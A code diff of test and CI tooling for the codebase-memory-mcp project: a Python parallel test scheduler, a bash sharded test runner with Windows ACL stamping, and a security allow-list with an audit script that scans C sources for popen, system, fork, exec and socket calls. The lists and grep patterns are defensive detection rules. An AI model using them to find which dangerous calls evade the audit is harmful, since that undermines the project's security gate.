||||
active.log_path,
|
||||
f" FAIL: suite {active.name!r} exited 0 without a completion summary "
|
||||
"(ran nothing?)",
|
||||
)
|
||||
passed, failed, skipped = summary or (0, 0, 0)
|
||||
result = (
|
||||
f"{active.name} rc={returncode} pass={passed} fail={failed} "
|
||||
f"skip={skipped} secs={elapsed}"
|
||||
)
|
||||
with results_file.open("a", encoding="utf-8", newline="\n") as stream:
|
||||
stream.write(result)
|
||||
stream.write("\n")
|
||||
print(f" {result}", flush=True)
|
||||
|
||||
|
||||
def record_start_failure(
|
||||
suite: str,
|
||||
log_dir: pathlib.Path,
|
||||
results_file: pathlib.Path,
|
||||
) -> None:
|
||||
result = f"{suite} rc=98 pass=0 fail=0 skip=0 secs=0"
|
||||
with results_file.open("a", encoding="utf-8", newline="\n") as stream:
|
||||
stream.write(result)
|
||||
stream.write("\n")
|
||||
print(f" {result}", flush=True)
|
||||
if not (log_dir / f"{suite}.log").exists():
|
||||
append_log(log_dir / f"{suite}.log", f" FAIL: suite {suite!r} did not start")
|
||||
|
||||
|
||||
def run_wave(args: argparse.Namespace) -> None:
|
||||
suites = read_suites(args.suite_file)
|
||||
args.log_dir.mkdir(parents=True, exist_ok=True)
|
||||
args.results_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
args.results_file.touch(exist_ok=True)
|
||||
pending = list(suites)
|
||||
active: dict[str, ActiveSuite] = {}
|
||||
try:
|
||||
while pending or active:
|
||||
while pending and len(active) < args.jobs:
|
||||
suite = pending.pop(0)
|
||||
timeout = (
|
||||
args.slow_timeout if suite in SLOW_SUITES else args.timeout
|
||||
)
|
||||
started = start_suite(
|
||||
suite,
|
||||
list(args.runner_command),
|
||||
args.log_dir,
|
||||
timeout,
|
||||
)
|
||||
if started is None:
|
||||
record_start_failure(suite, args.log_dir, args.results_file)
|
||||
else:
|
||||
active[suite] = started
|
||||
|
||||
made_progress = False
|
||||
now = time.monotonic()
|
||||
for suite, running in list(active.items()):
|
||||
returncode = running.process.poll()
|
||||
timed_out = returncode is None and now - running.started >= running.timeout
|
||||
if returncode is None and not timed_out:
|
||||
continue
|
||||
if timed_out:
|
||||
wait_for_test_pre_terminate_barrier(
|
||||
args.test_pre_terminate_barrier_dir,
|
||||
running,
|
||||
)
|
||||
terminate_process_tree(running, args.kill_grace)
|
||||
returncode = running.process.returncode
|
||||
wait_for_test_post_exit_barrier(
|
||||
args.test_post_exit_barrier_dir,
|
||||
suite,
|
||||
)
|
||||
record_result(
|
||||
running,
|
||||
int(returncode if returncode is not None else 124),
|
||||
args.results_file,
|
||||
timed_out,
|
||||
)
|
||||
del active[suite]
|
||||
made_progress = True
|
||||
if active and not made_progress:
|
||||
time.sleep(POLL_SECONDS)
|
||||
finally:
|
||||
cleanup_errors: list[str] = []
|
||||
for running in active.values():
|
||||
try:
|
||||
terminate_process_tree(running, args.kill_grace)
|
||||
except (OSError, RuntimeError) as exc:
|
||||
cleanup_errors.append(f"{running.name}: {exc}")
|
||||
finally:
|
||||
try:
|
||||
running.log_file.close()
|
||||
except OSError as exc:
|
||||
cleanup_errors.append(f"{running.name} log close: {exc}")
|
||||
if cleanup_errors:
|
||||
raise RuntimeError(
|
||||
"parallel scheduler cleanup failed: " + "; ".join(cleanup_errors)
|
||||
)
|
||||
|
||||
|
||||
def main() -> int:
|
||||
args = parse_args()
|
||||
try:
|
||||
if os.environ.get("MSYSTEM") and os.name != "nt":
|
||||
raise RuntimeError(
|
||||
"Windows/MSYS test runs require the native MinGW Python "
|
||||
"(os.name must be 'nt')"
|
||||
)
|
||||
run_wave(args)
|
||||
except (OSError, RuntimeError) as exc:
|
||||
print(f"FAIL: parallel scheduler infrastructure error: {exc}", file=sys.stderr)
|
||||
return 2
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
raise SystemExit(main())
|
||||
@@ -0,0 +1,310 @@
|
||||
#!/usr/bin/env bash
|
||||
# run-tests-parallel.sh — run every registered test suite as parallel
|
||||
# processes of the already-built test-runner.
|
||||
#
|
||||
# ZERO-LOSS CONTRACT (gate quality must be identical to the sequential run):
|
||||
# 1. The suite list comes from `test-runner --list-suites`, which is printed
|
||||
# by the SAME macro table that executes suites — the list cannot drift
|
||||
# from reality by construction.
|
||||
# 2. UNION GUARD: after the run, the set of suites that actually produced a
|
||||
# result is compared against that list; any difference (a suite that
|
||||
# never ran, or ran twice) fails the gate loudly. A newly added suite is
|
||||
# picked up automatically on the next invocation.
|
||||
# 3. Per-suite pass/fail/skip counts are summed and reported in the same
|
||||
# "N passed[, M failed][, K skipped]" shape as the sequential runner, so
|
||||
# before/after totals are directly comparable.
|
||||
# 4. ANY suite failing, crashing (nonzero exit), or missing ⇒ exit 1.
|
||||
#
|
||||
# Usage: run-tests-parallel.sh <path-to-test-runner> [jobs]
|
||||
# jobs defaults to CBM_TEST_PAR_JOBS, then the CPU count.
|
||||
|
||||
set -uo pipefail
|
||||
|
||||
RUNNER="${1:?usage: run-tests-parallel.sh <path-to-test-runner> [jobs]}"
|
||||
JOBS="${2:-${CBM_TEST_PAR_JOBS:-}}"
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
SCHEDULER="$SCRIPT_DIR/run-test-wave.py"
|
||||
|
||||
if [ -z "$JOBS" ]; then
|
||||
if command -v nproc >/dev/null 2>&1; then
|
||||
JOBS=$(nproc)
|
||||
elif command -v sysctl >/dev/null 2>&1; then
|
||||
JOBS=$(sysctl -n hw.ncpu 2>/dev/null || echo 4)
|
||||
else
|
||||
JOBS=4
|
||||
fi
|
||||
fi
|
||||
|
||||
LOGDIR="$(dirname "$RUNNER")/test-logs"
|
||||
rm -rf "$LOGDIR"
|
||||
mkdir -p "$LOGDIR"
|
||||
|
||||
# Windows: shape the build directory like a real user checkout BEFORE the
|
||||
# suites run. MSYS2's Cygwin layer writes POSIX-emulating DACLs — including
|
||||
# CREATOR OWNER (S-1-3-0) mutation grants — onto directories its tools
|
||||
# touch, and workspace drive roots additionally inherit Authenticated-Users
|
||||
# Modify; the activation transaction's source-directory policy correctly
|
||||
# refuses both, which would fail the install-flow tests on the environment,
|
||||
# not the code. Stamping must happen AFTER the build (the builders are the
|
||||
# ones re-writing the DACL), so it lives here rather than in workflow
|
||||
# setup. Two idempotent steps: protect the DIRECTORY (inheritance flags are
|
||||
# directory-only — a /T re-root leaves files with empty deny-all DACLs),
|
||||
# then /reset the children to re-inherit the clean set.
|
||||
stamp_windows_build_dir() {
|
||||
local when="$1"
|
||||
case "$(uname -s 2>/dev/null)" in
|
||||
MINGW* | MSYS*) ;;
|
||||
*) return 0 ;;
|
||||
esac
|
||||
local runner_dir_w me norm_out stamp_out reset_out
|
||||
runner_dir_w="$(cygpath -w "$(dirname "$RUNNER")")"
|
||||
me="$(whoami | tr -d '\r')"
|
||||
# Normalize FIRST: some runner images stamp EXPLICIT (non-inherited)
|
||||
# Authenticated-Users ACEs onto the workspace tree, which /inheritance:r
|
||||
# cannot strip and /grant:r does not touch (it replaces only the granted
|
||||
# SIDs' own entries). /reset drops every explicit ACE and restores pure
|
||||
# inheritance, so the protect-and-grant below starts from a known shape
|
||||
# regardless of image provisioning.
|
||||
norm_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" /reset /Q 2>&1) ||
|
||||
echo "WARN: build-dir DACL normalize ($when) failed: $norm_out"
|
||||
stamp_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" /inheritance:r \
|
||||
/grant:r "${me}:(OI)(CI)F" '*S-1-5-18:(OI)(CI)F' '*S-1-5-32-544:(OI)(CI)F' \
|
||||
/Q 2>&1) || echo "WARN: build-dir DACL stamp ($when) failed (user=$me dir=$runner_dir_w): $stamp_out"
|
||||
reset_out=$(MSYS2_ARG_CONV_EXCL='*' icacls "${runner_dir_w}\\*" /reset /T /C /Q 2>&1) ||
|
||||
echo "WARN: build-dir child DACL reset ($when) failed: $(printf '%s' "$reset_out" | tail -2)"
|
||||
# The stamp is load-bearing for the install-flow suites: verify it and say
|
||||
# so, in either direction — a silent stamp once cost a full CI round to
|
||||
# even see WHETHER it had run.
|
||||
if MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" 2>/dev/null |
|
||||
grep -qE 'Authenticated Users|CREATOR OWNER'; then
|
||||
echo "FAIL: build-dir DACL still grants cross-account mutation after $when stamp:"
|
||||
MSYS2_ARG_CONV_EXCL='*' icacls "$runner_dir_w" 2>&1 | head -8
|
||||
exit 1
|
||||
else
|
||||
echo "build-dir DACL stamped clean ($when, $runner_dir_w, user=$me)"
|
||||
fi
|
||||
}
|
||||
stamp_windows_build_dir pre-wave
|
||||
|
||||
SUITES_FILE="$LOGDIR/suites.txt"
|
||||
RESULTS_FILE="$LOGDIR/results.txt"
|
||||
: > "$RESULTS_FILE"
|
||||
|
||||
# tr strips the CR that the Windows CRT appends to every stdout line — a
|
||||
# suites file with CRLF endings made the runner reject every name
|
||||
# ("arena\r" is an unknown suite) and fail all 104 suites on CI.
|
||||
if ! "$RUNNER" --list-suites | tr -d '\r' > "$SUITES_FILE"; then
|
||||
echo "FAIL: test-runner --list-suites exited nonzero" >&2
|
||||
exit 1
|
||||
fi
|
||||
NSUITES=$(wc -l < "$SUITES_FILE" | tr -d ' ')
|
||||
if [ "$NSUITES" -lt 1 ] || grep -qvE '^[a-z0-9_]+$' "$SUITES_FILE"; then
|
||||
echo "FAIL: suite list empty or malformed (runner too old for --list-suites?)" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# CBM_TEST_SHARD="i/N" runs this invocation's deterministic slice of the
|
||||
# suite list so CI can spread one platform's suites across N runner jobs.
|
||||
# Unset (or "1/1") selects everything — the sharding path is inert unless a
|
||||
# workflow opts in. The slice is a pure function of (--list-suites, i, N):
|
||||
# every shard recomputes the same assignment, so N jobs with indices 1..N
|
||||
# cover the full list by construction, and each job's union guard below
|
||||
# proves it ran exactly its slice.
|
||||
SHARD_INDEX=1
|
||||
SHARD_TOTAL=1
|
||||
if [ -n "${CBM_TEST_SHARD:-}" ]; then
|
||||
if ! printf '%s' "$CBM_TEST_SHARD" | grep -qE '^[0-9]+/[0-9]+$'; then
|
||||
echo "FAIL: CBM_TEST_SHARD must be i/N, got '$CBM_TEST_SHARD'" >&2
|
||||
exit 1
|
||||
fi
|
||||
SHARD_INDEX="${CBM_TEST_SHARD%%/*}"
|
||||
SHARD_TOTAL="${CBM_TEST_SHARD##*/}"
|
||||
if [ "$SHARD_TOTAL" -lt 1 ] || [ "$SHARD_INDEX" -lt 1 ] ||
|
||||
[ "$SHARD_INDEX" -gt "$SHARD_TOTAL" ]; then
|
||||
echo "FAIL: CBM_TEST_SHARD out of range: $CBM_TEST_SHARD" >&2
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Deal the known-heavy suites round-robin FIRST so no shard receives a
|
||||
# second heavy suite before every shard holds one — shard wall time is
|
||||
# bounded by its heaviest member, and naive modulo can stack store_arch and
|
||||
# daemon_runtime (the two slowest sanitized suites) onto one job.
|
||||
shard_filter() {
|
||||
awk -v idx="$SHARD_INDEX" -v total="$SHARD_TOTAL" '
|
||||
BEGIN {
|
||||
nh = split("store_arch daemon_runtime incremental cli extraction " \
|
||||
"watcher daemon_ipc subprocess httpd py_lsp_stress " \
|
||||
"grammar_regression mcp daemon_frontend pipeline", h, " ")
|
||||
}
|
||||
{ present[$0] = NR; lines[NR] = $0 }
|
||||
END {
|
||||
# Deal heavies in WEIGHT order (the static list above), not file
|
||||
# order: the point is that the two slowest suites land on
|
||||
# different shards, which file-order dealing does not guarantee.
|
||||
n = 0
|
||||
for (i = 1; i <= nh; i++)
|
||||
if (h[i] in present) { order[++n] = h[i]; taken[h[i]] = 1 }
|
||||
for (i = 1; i <= NR; i++)
|
||||
if (!(lines[i] in taken)) order[++n] = lines[i]
|
||||
for (i = 1; i <= n; i++) if ((i - 1) % total == idx - 1) print order[i]
|
||||
}
|
||||
'
|
||||
}
|
||||
# Timing-sensitive suites run SEQUENTIALLY after the parallel wave: they
|
||||
# spawn subprocesses / watch the filesystem / bind ports with fixed
|
||||
# deadlines, and a saturated 4-core CI runner starves those deadlines into
|
||||
# flakes (3 cli-suite failures on the ubuntu legs of the first CI run).
|
||||
# Same suites, same tests, same gates — only the schedule differs; the
|
||||
# union guard below still checks the COMBINED result set.
|
||||
# stack_overflow_a/b/c: their giant-recursion ASan allocations stall ~100x
|
||||
# when co-STARTED with a large wave on Apple Silicon (2s staggered vs ~230s
|
||||
# simultaneous — a local scheduler/zone quirk, not contention: job count
|
||||
# does not change it). Staggered in the tail they cost seconds.
|
||||
# The daemon-family suites spawn coordinated worker subprocesses (a re-exec
|
||||
# of this ASan runner plus the full admission handshake) and bind local
|
||||
# endpoints under fixed readiness deadlines (3 s marker waits in
|
||||
# index_supervisor); the saturated 3-core macOS CI runners starve those
|
||||
# deadlines into deterministic failures while an idle machine passes 6/6.
|
||||
# They also all rendezvous through the shared per-account runtime namespace,
|
||||
# which the quiet tail keeps free of cross-suite admission traffic.
|
||||
SERIAL_SUITES="cli subprocess watcher incremental httpd ui index_resilience mcp \
|
||||
stack_overflow_a stack_overflow_b stack_overflow_c \
|
||||
index_supervisor daemon_application daemon_runtime daemon_frontend \
|
||||
daemon_bootstrap daemon_ipc"
|
||||
is_serial() {
|
||||
case " $SERIAL_SUITES " in *" $1 "*) return 0 ;; *) return 1 ;; esac
|
||||
}
|
||||
PAR_FILE="$LOGDIR/suites-parallel.txt"
|
||||
SER_FILE="$LOGDIR/suites-serial.txt"
|
||||
: > "$PAR_FILE"
|
||||
: > "$SER_FILE"
|
||||
while IFS= read -r sname; do
|
||||
if is_serial "$sname"; then
|
||||
echo "$sname" >> "$SER_FILE"
|
||||
else
|
||||
echo "$sname" >> "$PAR_FILE"
|
||||
fi
|
||||
done < "$SUITES_FILE"
|
||||
|
||||
# The parallel wave and the serial tail are sharded separately: every shard
|
||||
# keeps its own quiet tail for the deadline-sensitive suites (its runner is
|
||||
# a whole machine, so the tail is at least as quiet as before sharding).
|
||||
shard_filter < "$PAR_FILE" > "$PAR_FILE.shard" && mv "$PAR_FILE.shard" "$PAR_FILE"
|
||||
shard_filter < "$SER_FILE" > "$SER_FILE.shard" && mv "$SER_FILE.shard" "$SER_FILE"
|
||||
SHARD_EXPECT="$LOGDIR/suites-shard.txt"
|
||||
cat "$PAR_FILE" "$SER_FILE" > "$SHARD_EXPECT"
|
||||
NSHARD=$(wc -l < "$SHARD_EXPECT" | tr -d ' ')
|
||||
|
||||
# Machine-checkable manifest for CI's cross-shard completeness job: it
|
||||
# proves at runtime that the shards of one leg agree on N and on the full
|
||||
# suite list, and that the union of their slices IS that list — the guard
|
||||
# against a mis-plumbed CBM_TEST_SHARD (two jobs running the same slice
|
||||
# passes every per-shard check but silently drops a slice; only a
|
||||
# cross-shard view catches it). Written BEFORE any suite runs: the slice is
|
||||
# fully determined here, and a red run's manifest is exactly as load-bearing
|
||||
# as a green one's — CI uploads it if: always().
|
||||
{
|
||||
echo "leg=${CBM_TEST_LEG:-local}"
|
||||
echo "shard=${SHARD_INDEX}/${SHARD_TOTAL}"
|
||||
echo "list_sha256=$(sort "$SUITES_FILE" | { sha256sum 2>/dev/null || shasum -a 256; } | awk '{print $1}')"
|
||||
echo "--- slice ---"
|
||||
cat "$SHARD_EXPECT"
|
||||
} > "$LOGDIR/shard-manifest.txt"
|
||||
echo "=== parallel test run: $NSHARD of $NSUITES suites (shard ${SHARD_INDEX}/${SHARD_TOTAL}, $(wc -l < "$SER_FILE" | tr -d ' ') serial-tail), $JOBS jobs ==="
|
||||
|
||||
# Per-suite wall-clock ceilings make a wedged child fail loudly. The
|
||||
# `incremental` suite legitimately re-indexes large fixtures (minutes), while
|
||||
# `daemon_runtime` measures ~610s solo on arm64 under ASan; those and
|
||||
# `store_arch` receive the wider ceiling. Process ownership and result
|
||||
# accounting live in one Python parent — no exported MSYS bash worker remains
|
||||
# between a completed native child and its durable result line.
|
||||
run_wave() {
|
||||
local suite_file="$1"
|
||||
local jobs="$2"
|
||||
if ! python3 "$SCHEDULER" \
|
||||
--suite-file "$suite_file" \
|
||||
--log-dir "$LOGDIR" \
|
||||
--results-file "$RESULTS_FILE" \
|
||||
--jobs "$jobs" \
|
||||
--timeout "${CBM_SUITE_TIMEOUT:-900}" \
|
||||
--slow-timeout "${CBM_SUITE_TIMEOUT_SLOW:-3600}" \
|
||||
--kill-grace 15 \
|
||||
"$RUNNER"; then
|
||||
echo "FAIL: parallel suite scheduler infrastructure failed" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
run_wave "$PAR_FILE" "$JOBS"
|
||||
|
||||
# Tail scheduling in two phases. The FLEX suites are timing-shaped but do
|
||||
# not rendezvous through the shared per-account daemon runtime namespace,
|
||||
# so a small fixed overlap (CBM_TAIL_JOBS, default 2) is safe and converts
|
||||
# idle cores into wall time — the old fully-serial tail ran them one at a
|
||||
# time on an idle machine. The EXCL group (daemon-family plus the suites
|
||||
# that drive daemon one-shots or supervisor rendezvous) then runs strictly
|
||||
# sequentially on a machine exactly as quiet as the old tail gave it.
|
||||
TAIL_EXCL="cli mcp index_supervisor daemon_application daemon_runtime \
|
||||
daemon_frontend daemon_bootstrap daemon_ipc"
|
||||
is_tail_excl() {
|
||||
case " $TAIL_EXCL " in *" $1 "*) return 0 ;; *) return 1 ;; esac
|
||||
}
|
||||
FLEX_FILE="$LOGDIR/suites-tail-flex.txt"
|
||||
EXCL_FILE="$LOGDIR/suites-tail-excl.txt"
|
||||
: > "$FLEX_FILE"
|
||||
: > "$EXCL_FILE"
|
||||
while IFS= read -r sname; do
|
||||
if is_tail_excl "$sname"; then
|
||||
echo "$sname" >> "$EXCL_FILE"
|
||||
else
|
||||
echo "$sname" >> "$FLEX_FILE"
|
||||
fi
|
||||
done < "$SER_FILE"
|
||||
# Wave suites spawn Cygwin-family tooling that can rewrite the build
|
||||
# directory's DACL behind the first stamp (observed: an arm shard whose
|
||||
# tail held the install-flow suites failed the source-directory policy
|
||||
# minutes after a clean pre-wave stamp, while its sibling shard passed).
|
||||
# Re-stamp at the tail boundary so the deadline-sensitive tail — which
|
||||
# hosts those suites — always starts from the verified-clean shape.
|
||||
stamp_windows_build_dir pre-tail
|
||||
run_wave "$FLEX_FILE" "${CBM_TAIL_JOBS:-2}"
|
||||
run_wave "$EXCL_FILE" 1
|
||||
|
||||
# ── Union guard: every suite in this shard's slice produced exactly one
|
||||
# result. The slice is deterministic, so N green shard jobs = full coverage;
|
||||
# a shard that ran anything more, less, or twice fails here. ──
|
||||
MISSING=$(comm -23 <(sort "$SHARD_EXPECT") <(awk '{print $1}' "$RESULTS_FILE" | sort -u))
|
||||
EXTRA=$(comm -13 <(sort "$SHARD_EXPECT") <(awk '{print $1}' "$RESULTS_FILE" | sort -u))
|
||||
DUPES=$(awk '{print $1}' "$RESULTS_FILE" | sort | uniq -d)
|
||||
if [ -n "$MISSING" ] || [ -n "$EXTRA" ] || [ -n "$DUPES" ]; then
|
||||
echo "FAIL: shard union does not match its --list-suites slice (GATE-QUALITY LOSS)" >&2
|
||||
[ -n "$MISSING" ] && echo " never ran: $MISSING" >&2
|
||||
[ -n "$EXTRA" ] && echo " outside slice: $EXTRA" >&2
|
||||
[ -n "$DUPES" ] && echo " ran twice: $DUPES" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOTAL_PASS=$(awk -F'pass=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
|
||||
TOTAL_FAIL=$(awk -F'fail=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
|
||||
TOTAL_SKIP=$(awk -F'skip=' '{split($2,a," "); s+=a[1]} END{print s+0}' "$RESULTS_FILE")
|
||||
BAD_RC=$(grep -cv ' rc=0 ' "$RESULTS_FILE" || true)
|
||||
|
||||
echo "── 8 slowest suites ──"
|
||||
sort -t= -k6 -rn "$RESULTS_FILE" | head -8
|
||||
grep -v ' rc=0 ' "$RESULTS_FILE" || true
|
||||
for f in $(grep -v ' rc=0 ' "$RESULTS_FILE" | awk '{print $1}'); do
|
||||
echo "──── $f: every failure site ────"
|
||||
grep -B2 -A8 "FAIL" "$LOGDIR/$f.log" | head -120
|
||||
echo "──── $f: last 15 lines ────"
|
||||
tail -15 "$LOGDIR/$f.log"
|
||||
done
|
||||
|
||||
echo "────────────────────────────────────────────"
|
||||
echo " $TOTAL_PASS passed, $TOTAL_FAIL failed, $TOTAL_SKIP skipped ($NSUITES suites, $JOBS jobs)"
|
||||
echo "────────────────────────────────────────────"
|
||||
|
||||
if [ "$TOTAL_FAIL" -gt 0 ] || [ "$BAD_RC" -gt 0 ]; then
|
||||
exit 1
|
||||
fi
|
||||
exit 0
|
||||
@@ -0,0 +1,72 @@
|
||||
# Security allow-list for dangerous function calls.
|
||||
# Format: file:function:justification
|
||||
# Lines starting with # are comments. Empty lines are ignored.
|
||||
# Any call to a listed function in a .c file under src/ that is NOT on this
|
||||
# list causes the security audit (scripts/security-audit.sh) to fail.
|
||||
|
||||
# ── Foundation: platform abstraction (defines cbm_popen wrapper + shell-free exec) ──
|
||||
src/foundation/compat_fs.c:popen:cbm_popen wrapper definition (POSIX)
|
||||
src/foundation/compat_fs.c:cbm_popen:cbm_popen function definition
|
||||
src/foundation/compat_fs.c:fork:cbm_exec_no_shell — fork+execvp for shell-free subprocess execution
|
||||
src/foundation/subprocess.c:fork:cbm_run_posix — fork+execv for the crash/hang-isolating index worker (supervisor primitive; child execs immediately, no code runs in the forked image)
|
||||
src/foundation/compat_fs.c:execvp:cbm_exec_no_shell — direct exec without shell interpretation
|
||||
|
||||
# ── Coordination daemon: detached bootstrap and test-only watchdog probe ────
|
||||
src/daemon/bootstrap.c:fork:validated shell-free double-fork; grandchild resets signals/umask, closes inherited descriptors, and execv's the exact current CBM image
|
||||
src/main.c:fork:test-only parent-death containment descendant; inert unless the private CBM_TEST_WORKER_DESCENDANT_PID_FILE probe is explicitly set
|
||||
|
||||
# ── Coordination daemon: count-bounded local IPC (never Internet sockets) ──
|
||||
# Format: NETWORK:file:function:expected-count:justification
|
||||
NETWORK:src/daemon/ipc.c:socket:1:single owner-only AF_UNIX stream constructor
|
||||
NETWORK:src/daemon/ipc.c:connect:1:single sockaddr_un-typed connect wrapper used only with the stable owner-only daemon endpoint
|
||||
|
||||
# ── Coordination daemon: count-bounded private internal file writes ────────
|
||||
# Format: WRITE:file:expected-count:justification
|
||||
WRITE:src/main.c:1:supervised worker writes its MCP result only to the private unique response path created and retained by its parent
|
||||
WRITE:src/daemon/application.c:1:recovery truncates only its private uniquely-created per-job marker file
|
||||
|
||||
# ── CLI: update command (user-initiated, interactive) ──────────────────────
|
||||
src/cli/cli.c:cbm_popen:sha256 checksum verification (update cmd)
|
||||
src/cli/cli.c:popen:sha256 checksum computation via shasum
|
||||
|
||||
# ── Watcher: git status polling (repo paths validated via cbm_validate_shell_arg) ──
|
||||
src/watcher/watcher.c:system:git repo detection (is_git_repo)
|
||||
src/watcher/watcher.c:cbm_popen:git HEAD hash (git_head)
|
||||
src/watcher/watcher.c:cbm_popen:git working tree status (git_is_dirty)
|
||||
src/watcher/watcher.c:cbm_popen:git file count (git_file_count)
|
||||
src/watcher/watcher.c:popen:via cbm_popen wrapper calls
|
||||
|
||||
# ── Git context: git metadata resolution (repo paths validated via cbm_validate_shell_arg) ──
|
||||
src/git/git_context.c:cbm_popen:git rev-parse/symbolic-ref/merge-base metadata lookup
|
||||
src/git/git_context.c:popen:via cbm_popen wrapper call
|
||||
|
||||
# ── MCP server: search and change detection ────────────────────────────────
|
||||
src/mcp/mcp.c:cbm_popen:search_code via grep (pattern in temp file, path validated)
|
||||
src/mcp/mcp.c:cbm_popen:detect_changes via git diff (args validated)
|
||||
src/mcp/mcp.c:cbm_popen:git ls-files count for auto-index (session_root validated)
|
||||
src/mcp/mcp.c:cbm_popen:update check to api.github.com (hardcoded URL)
|
||||
src/mcp/mcp.c:popen:via cbm_popen wrapper calls
|
||||
|
||||
# ── Pipeline: git history parsing (git log) ────────────────────────────────
|
||||
src/pipeline/pass_githistory.c:cbm_popen:git log for file history (path validated)
|
||||
src/pipeline/pass_githistory.c:popen:via cbm_popen wrapper call
|
||||
|
||||
# ── Pipeline: artifact persistence (git HEAD hash, merge driver config) ────
|
||||
src/pipeline/artifact.c:cbm_popen:git rev-parse HEAD for artifact metadata (hardcoded cmd)
|
||||
src/pipeline/artifact.c:cbm_popen:git config merge.ours.driver for gitattributes (hardcoded cmd)
|
||||
src/pipeline/artifact.c:popen:via cbm_popen wrapper calls
|
||||
|
||||
# ── UI: HTTP server process management ─────────────────────────────────────
|
||||
src/ui/http_server.c:popen:ps process listing for metrics endpoint
|
||||
src/ui/http_server.c:fork:spawn indexing subprocess
|
||||
src/ui/http_server.c:execl:exec indexing binary in child process
|
||||
|
||||
# ── Allowed URLs ───────────────────────────────────────────────────────────
|
||||
# Format: URL:justification
|
||||
URL:https://api.github.com/repos/DeusData/codebase-memory-mcp/releases/latest:update check
|
||||
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest/download:binary download + checksums
|
||||
URL:https://github.com/DeusData/codebase-memory-mcp/releases/latest:version check via redirect header
|
||||
URL:http://127.0.0.1:UI server binding (localhost only)
|
||||
URL:https://www.sqlite.org/c3ref/c_checkpoint_full.html:sqlite WAL checkpoint API doc reference (comment only, not a network call)
|
||||
URL:https://github.com/DeusData/codebase-memory-mcp:project repository self-reference in update/star notice (src/mcp/mcp.c)
|
||||
URL:https://%s:GitHub blob-URL construction in src/ui/http_server.c cbm_ui_git_web_base — https-forces the repo web base for frontend deep-links (not a network call)
|
||||
@@ -0,0 +1,343 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Layer 1: Static security audit — scans C source for dangerous calls.
|
||||
# Every occurrence must be on the checked-in allow-list.
|
||||
#
|
||||
# Usage: scripts/security-audit.sh
|
||||
|
||||
ROOT="$(cd "$(dirname "$0")/.." && pwd)"
|
||||
ALLOWLIST="$ROOT/scripts/security-allowlist.txt"
|
||||
|
||||
if [[ ! -f "$ALLOWLIST" ]]; then
|
||||
echo "FAIL: allow-list not found: $ALLOWLIST"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Use a flag file to communicate failures from subshells
|
||||
FAIL_FLAG=$(mktemp)
|
||||
echo "0" > "$FAIL_FLAG"
|
||||
trap 'rm -f "$FAIL_FLAG"' EXIT
|
||||
|
||||
fail() {
|
||||
echo "1" > "$FAIL_FLAG"
|
||||
}
|
||||
|
||||
# ── 1. Dangerous function calls ─────────────────────────────────
|
||||
|
||||
echo "=== Layer 1: Static Security Audit ==="
|
||||
echo ""
|
||||
echo "--- Scanning for dangerous function calls ---"
|
||||
|
||||
# For each file:function pair on the allow-list, the file is allowed to contain
|
||||
# that function. Any file:function NOT on the list causes failure.
|
||||
FUNC_LIST="system popen cbm_popen execl fork"
|
||||
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
|
||||
for func in $FUNC_LIST; do
|
||||
# Build precise grep pattern to avoid substring matches:
|
||||
# 'popen(' must NOT match 'cbm_popen(' — use [^a-z] negative class
|
||||
case "$func" in
|
||||
cbm_popen) pattern="cbm_popen(" ;;
|
||||
popen) pattern="[^a-z]popen(" ;;
|
||||
system) pattern="[^a-z_]system(" ;;
|
||||
fork) pattern="[^a-z_]fork(" ;;
|
||||
*) pattern="[^a-z_]${func}(" ;;
|
||||
esac
|
||||
|
||||
# Grep for pattern, excluding comments and #define lines
|
||||
if grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' > /dev/null 2>&1; then
|
||||
if ! grep -q "^${relfile}:${func}:" "$ALLOWLIST" 2>/dev/null; then
|
||||
echo "BLOCKED: ${relfile}: contains ${func}() — not on allow-list"
|
||||
grep -n "$pattern" "$file" 2>/dev/null | grep -v '^\s*//' | grep -v '^\s*\*' | grep -v '#define' | head -3 | sed 's/^/ /'
|
||||
fail
|
||||
fi
|
||||
fi
|
||||
done
|
||||
done < <(find "$ROOT/src" -name '*.c' -type f | sort)
|
||||
|
||||
# ── 1b. Raw network calls (count-bounded explicit exceptions) ───
|
||||
#
|
||||
# The graph-UI HTTP server (src/ui/httpd.c) is the one component that owns a
|
||||
# listening socket. It is first-party, binds 127.0.0.1 only, and is audited
|
||||
# separately by scripts/security-ui.sh (binding + CORS checks), so it is
|
||||
# exempt from this scan. The coordination transport may use only explicitly
|
||||
# count-bounded AF_UNIX calls recorded in the security allow-list.
|
||||
|
||||
echo ""
|
||||
echo "--- Scanning for raw network calls ---"
|
||||
|
||||
NETWORK_OK=true
|
||||
while IFS= read -r file; do
|
||||
relfile="${file#"$ROOT/"}"
|
||||
[[ "$relfile" == "src/ui/httpd.c" ]] && continue
|
||||
for func in socket connect sendto; do
|
||||
matches=$(grep -n -E "[^a-z_]${func}\\(" "$file" 2>/dev/null \
|
||||
| grep -v '^\s*//' | grep -v '^\s*\*' || true)
|
||||
[[ -z "$matches" ]] && continue
|
||||
actual_count=$(printf '%s\n' "$matches" | wc -l | tr -d ' ')
|
||||
allowance=$(grep -E "^NETWORK:${relfile}:${func}:[0-9]+:" \
|
||||
"$ALLOWLIST" 2>/dev/null || true)
|
||||
allowance_count=$(printf '%s\n' "$allowance" | grep -c . || true)
|
||||
expected_count=$(printf '%s\n' "$allowance" | cut -d: -f4)
|
||||
semantic_ok=true
|
||||
if [[ "$func" == "socket" ]] &&
|
||||
